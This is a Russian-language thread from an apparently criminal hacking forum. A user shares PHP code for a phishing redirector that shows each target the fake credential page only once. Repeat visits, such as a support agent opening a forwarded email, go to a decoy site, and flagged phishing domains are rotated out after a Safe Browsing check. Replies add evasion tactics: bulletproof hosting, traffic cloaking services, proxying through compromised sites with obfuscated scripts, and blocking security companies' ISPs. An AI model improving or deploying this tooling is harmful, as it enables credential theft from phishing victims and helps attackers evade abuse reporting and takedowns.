• XSS.stack #1 – первый литературный журнал от юзеров форума

Как реализовать идею?

DrSleep

(L2) cache
Пользователь
Регистрация
10.01.2020
Сообщения
396
Реакции
304
Гарант сделки
1
При рассылке фишинга, бдительные пользователи зачастую переотправляют фишинг письма в саппорт, где сап с легкостью тянет наш
<a href="evil.com/?id=holdermail@mail.cc">
переходит на него, видит что фишинг и шлет абузу по домену, хостингу, трампу в телегу.
Моя идея такова, чтобы каждый заход на фэйк по
был одноразовым.То есть
1)Джон получает фишинг письмо, переходит по ссылке, вводит пароль и отправляется в зависимости от разводки
2)Но Джон заподозрил что-то неладное, и пересылает наше письмо в службу поддержки (Email сервиса,биржы,банка) с вопросом WTF?
3)Билл из службы поддержки получает письмо от Джона, переходит по линку и видет там фишинг сайт.Шлет абузы по всем направлениям.

Суть в том, что после того как Джон перейдет по ссылке заточенной под него
evil.com/?id=john@mail.cc
, то при повторном заходе по этой же ссылке,будет открываться не фишинг сайт, а наш белый сайт (либо pornhub, закос под рассылку порнухи или датинг).
Вижу схему так-регаем кучу доменов недорогих .XYZ для редиректа, пару фишинг доменов для фэйка.
В само письмо вставляем ссылку вида
redirect.xyz/in.php?id=john@mail.cc
, где in.php и будет наш фильтр.
В сам фильтр будет встроен чекер доменов фэйка на Safe Browsing и чекер уникальности и редирект.
Если заход уникален, чекаем фишинг домен на Safe Browsing, если первый(или последний в списке) домен чист то редиректим на
evil.com/?id=john@mail.cc
, если заход повторный то редиректим на белое.
Собственно все это реализовано уже, но скрипт желательно посмотреть кодеру, так как я не кодер, собрал его через гугл.Прошу помощи допилить его до правильного кода и мб добавить какие идеи по этой реализации и в целом по защите фэйков.Спасибо
PHP:
<?php
ob_start();
$curl = curl_init();

################################ Setup

$user = $_GET['id'];
$remove_user = "true"; //Включаем или отключаем фильтр по уникальности
$white_link = "https://dating.com"; // Белый линк
$good_base = file("good_mail",FILE_IGNORE_NEW_LINES); // Файл со списком Email на которые была рассылка, из него будем удалять мыла по мере работы
$filtred_mail = 'filtred_mail'; // Пишем сюда мыла которые отфильтровались
$good_log = 'fullog_index'; // Пишем сюда все заходы на скрипт
################################


$domains = array(
    "https://evil.com/index.php?id=",
    "https://evil2.com/index.php?id="
);

function check_gsb($domain)
{
    global $curl;
    $params = array(
        "client" => array(
            "clientId" => "yourcompanyname",
            "clientVersion" => "1.5.2"
        ),
        "threatInfo" => array(
            "threatTypes" => ["MALWARE", "SOCIAL_ENGINEERING"],

            "platformTypes" => ["WINDOWS"],

            "threatEntryTypes" => ["URL"],

            "threatEntries" => array(
                "url" => $domain
            )
        ),
    );
    $options = array(

        CURLOPT_URL => "https://safebrowsing.googleapis.com/v4/threatMatches:find?key=111111111111111111111",

        CURLOPT_RETURNTRANSFER => true,

        CURLOPT_ENCODING => "",

        CURLOPT_MAXREDIRS => 10,

        CURLOPT_TIMEOUT => 30,

        CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,

        CURLOPT_CUSTOMREQUEST => "POST",

        CURLOPT_POSTFIELDS => json_encode($params),

        CURLOPT_HTTPHEADER => array(

            "cache-control: no-cache",

            "content-type: application/json",

            "postman-token: b05b8d34-85f2-49cf-0f8e-03686a71e4e9"

        ),

    );


    curl_setopt_array($curl, $options);
    $response = curl_exec($curl);
    return $response;

}

//Check bad traffic
if (!isset($user) or empty($user)){ //If ID none or = null
header('Location: '.$white_link.'');}

if (!in_array($user, $good_base)){ //If ID non contain in goodmail
$data = $user. ":".$_SERVER["REMOTE_ADDR"].":".$_SERVER["HTTP_USER_AGENT"];
file_put_contents($filtred_mail, print_r($data, true), FILE_APPEND);
file_put_contents($filtred_mail, print_r("\r\n" , true), FILE_APPEND);
header('Location: '.$white_link.'');}

//Good Redirect to Fake
else {
foreach ($domains as $domain) {
    $main_response = check_gsb($domain);
    if (strlen($main_response) < 4) {
        header('Location: '.$domain.$user);

    } else {continue;   }
}}


if ($remove_user == "true"){
$data = file("good_mail");
$out = array();

foreach ($data as $line) {
    if(trim($line) != $user) {
        $out[] = $line;
    }
}

$fp = fopen("good_mail", "w+");
flock( $fp , LOCK_EX);
foreach ($out as $line) {
    fwrite ($fp , $line);
}
flock($fp, LOCK_UN);
fclose($fp); }


function getUserIP()
{
$realip  = @$_SERVER['HTTP_X_REAL_IP'];
$client  = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote  = $_SERVER['REMOTE_ADDR'];
$ip = $remote;
if(filter_var($realip, FILTER_VALIDATE_IP))
{$ip = $realip;    }
elseif(filter_var($client, FILTER_VALIDATE_IP))
{$ip = $client;}
elseif(filter_var($forward, FILTER_VALIDATE_IP))
{$ip = $forward;}
else    {$ip = $remote;}
return $ip;}
$realIP = getUserIP();

#full log
file_put_contents($good_log, print_r($_SERVER["HTTP_X_REAL_IP"] , true), FILE_APPEND);
file_put_contents($good_log, print_r(" " , true), FILE_APPEND);
file_put_contents($good_log, print_r($realIP, true), FILE_APPEND);
file_put_contents($good_log, print_r(" " , true), FILE_APPEND);
file_put_contents($good_log, print_r($_SERVER["REMOTE_ADDR"] , true), FILE_APPEND);
file_put_contents($good_log, print_r(" " , true), FILE_APPEND);
file_put_contents($good_log, print_r($_SERVER["HTTP_USER_AGENT"], true), FILE_APPEND);
file_put_contents($good_log, print_r(" " , true), FILE_APPEND);
file_put_contents($good_log, print_r($_GET, true), FILE_APPEND);
file_put_contents($good_log, print_r("######################################################\n\r" , true), FILE_APPEND);

curl_close($curl);


?>
 
В твоей схеме одно слабое место. Уже по самому письму специалист увидит, что это фишинговое письмо. И абуза все равно сработает, даже если сайт твой не будет доступен.
 
В твоей схеме одно слабое место. Уже по самому письму специалист увидит, что это фишинговое письмо. И абуза все равно сработает, даже если сайт твой не будет доступен.
Что может заабузить-домен с рассылки,домен с редиректом,домен с фишинг страницей.
На домен с майлером пофигу, он одноразовый.
Домен с редиректом пофигу, база для рассылки допустим 1к мыл, редирект доменов 20штук,заабузит только 1 из 20,пусть даже 5 из 20 начнут палиться, это не критично,остальные 15 живы.
Фишинг домен не спалится сапу, если только холдер не пришлет его из хистори, на этот случай делается парочка доменов под фэйк. Когда 1 спалится, то скрипт не будет на него редиректить, а редики будут на чистые страницы.
Так на что абуза сработать может еще?
 
Так на что абуза сработать может еще?
Самая быстрая абуза которая срабатывает это хостеру. Все остальное не рассматриваем даже, ты быстрее сменишь источники.
Зачем он его присылать будет из хистори? Просто перешлет само письмо саппорту и в тех данных все будет видно.
Мое мнение что ты слишком заморачиваешься.
Бери пачку фриномов прикрепленных к cloudflare, вешай домены на дешевые впс. И используй кейтаротдс для дополнительной проверки трафа, без реферера отсекай как ботов. Можешь так же распределять траф равномерно с предпроверкой урла на который будет идти траф. Это все копейки стоит, проще объемом взять.
 
Просто перешлет само письмо саппорту и в тех данных все будет видно.
Ну что все то?)Спалится домен рассылки одноразовый, и один из кучи доменов редиректа.Сам фишинг домен не спалится, собственно чего мы и пробуем добиться. Хостер абузоустойчивый ;)
Кейтаро и тд по моему пустое звено, пустой рефер можно отсекать на этом же скрипте.
Многие до сих пор думают про мифических ботов которые шарятся про просторам интернета в поисках фишинг страницы и шлют абузы после которых хром начинает палить сайт или злые юзеры абузят( покажите мне куда жать, чтобы отправить абузу на домен).Все намного проще, хром по дефолту при заходе на страницу шлет запросы на сервис Safe Browsing, где проходят проверки по домену (accountssssss.google.com спалится очень быстро, по сравнения с djkjkdsjkdjs.com), и сам код страницу, там анализируются такие параметры как title и тд.
Объемом неинтересно, да и не выгодно уже, надо на качество стремиться.
 
Ну если у тебя хостер абузоустойчивый, это тебя надолго не спасет, хром повесит на домен плашку опасного сайта.
Я еще маскировку домена делал через пирог. Делаешь проксификацию своего домена на папку пирога http://*/1/. Скрипт проксификации обфусцируешь на всякий случай, чтобы айпишник своего вдс не спалить. Никто не узнает откуда сайт твой грузится на самом деле. Заливаешь копии на несколько пирогов. Фишинг сайт у тебя на трастовых доменах подольше проживёт.
Кейтаро по api определяешь параметры зашедшего, если не подходит, то на главную пирога его редиректишь. Попробуй, может зайдет схема.
 
хром повесит на домен плашку опасного сайта
На какой домен?
Делаешь проксификацию своего домена на папку пирога http://*/1/
Про это интересно, но как быть с SSL ?
Ну а "трастовость" сайта это на самом деле миф.Когда занимался арбитражем трафика, были ленды под гугл антивирус, хром очень любил банить такие сайты.Небыло разница между старыми доменами с трафом и новорегами, банил все.Так что дело не всегда в доменах, сами страницы чистить тоже надо от сигнатур.
TDSку можно конечно прикрутить, но объемы трафа небольшие, да и что локнешь на ней по сути-гео?Юзеры шарятся по миру, к тому же ГЕО базы бывает ошибочно определяют гео по айпишнику, устройства тоже нет смысла лочить.Для совсем уж параноиков есть magicchecker.Там настроек и возможностей по клоакингу куча.Но и он не панацея)
Можно было бы чекер по ISP прикрутить, лочить SpyEve,Google и тд такие ISP, если подскажешь как реализовать на PHP или Apache2 буду признателен
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх